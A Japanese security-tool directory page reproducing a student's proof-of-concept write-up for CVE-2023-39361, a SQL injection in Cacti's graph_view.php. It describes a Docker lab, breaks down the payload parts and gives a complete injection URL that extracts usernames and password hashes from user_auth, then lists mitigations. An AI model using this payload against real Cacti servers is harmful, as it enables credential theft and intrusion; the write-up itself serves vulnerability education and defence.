Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-39361 — CVE-2023-39361の概念実証エクスプロイト。Cactiのgraph_view.phpにおけるSQLインジェクションで、データの外部漏洩と潜在的なRCEを引き起こします。 | Kitploit
ツール/GitHubGitHub/chodeokcheol/cve-2023-39361
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubchodeokcheol/cve-2023-39361

CVE-2023-39361

CVE-2023-39361の概念実証エクスプロイト。Cactiのgraph_view.phpにおけるSQLインジェクションで、データの外部漏洩と潜在的なRCEを引き起こします。

リポジトリを見る
31年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Cacti graph_view.php SQLインジェクションによるRCE [CVE-2023-39361]

[ WHS 3期 ] - 남기찬_7342 (ChoDeokCheol)


概要

  • Cacti 1.2.24サーバのgraph_view.phpファイルのgrow_right_pane_tree関数に脆弱性が存在する。
  • actionパラメータをtree_contentに設定すると、ユーザー入力値であるrfilterパラメータが存在する。
  • rfilterパラメータはhtml_validate_tree_vars関数で検証されるが、その検証は単に有効な正規表現かどうかのみを検査する。
  • 最終的にrfilter値をSQLクエリ内に挿入し、コード挿入が可能となる。
  • id、usernameなどの値を抽出できる。(本PoCで使用)

事前設定

  • docker-compose -vでDocker Composeのインストール有無とバージョンを確認する。
  • CVE-2023-39361の構成に必要なDockerコンポーネントを準備する。(ymlやイメージなど)

環境構築と実行

  • vulhub内のcacti/CVE-2023-39361/docker-compose.yml、entrypoint.shを使用する。
  • docker compose up -dでPoC環境を構築する。(イメージ: cacti:1.2.24)
  • ymlファイルに設定したlocalhostアドレス8080:80でCactiサーバを構築する。 ドッカー PoC環境構築 Cactiサーバ構築

脆弱性PoC

  • 本脆弱性は、認証設定で一般ユーザー(guest)もグラフを確認できるように設定した場合に発生する。

  • 本脆弱性は以下のようなパラメータ入力で確認できる:

    • %20OR%20""="((" : 代表的なSQLインジェクションコード。ORを使って強制的に真の条件を満たす。
    • %20UNION%20SELECT% : 任意の結果を取得する。
    • (select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201) : id#username#passwordの値を要求する。
    • (select%20user()),(select%20version()) : データベースユーザー/バージョンを取得する。
    • %23 : #なので後続のSQL文が無効化される。

http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23


結果

burpsuiteの実行とレスポンス 要求した通りの応答が返ってきたことが確認できる。


まとめ

SQLインジェクション攻撃は、サーバーの相互作用中にユーザー入力を受け入れることで主に発生する。このSQLインジェクション攻撃によりデータベース内部の機密性が侵害され、資産が漏洩する結果が確認できた。
このSQLインジェクションに対する対策として、rfilterに基本的なホワイトリスト値の検証をチェックするか、(", ', ;, ...)のような特殊文字をエスケープ処理することができる。またはDBアクセス時にDoctrineのようなORMライブラリを使用する改善が考えられる。

ツールをダウンロード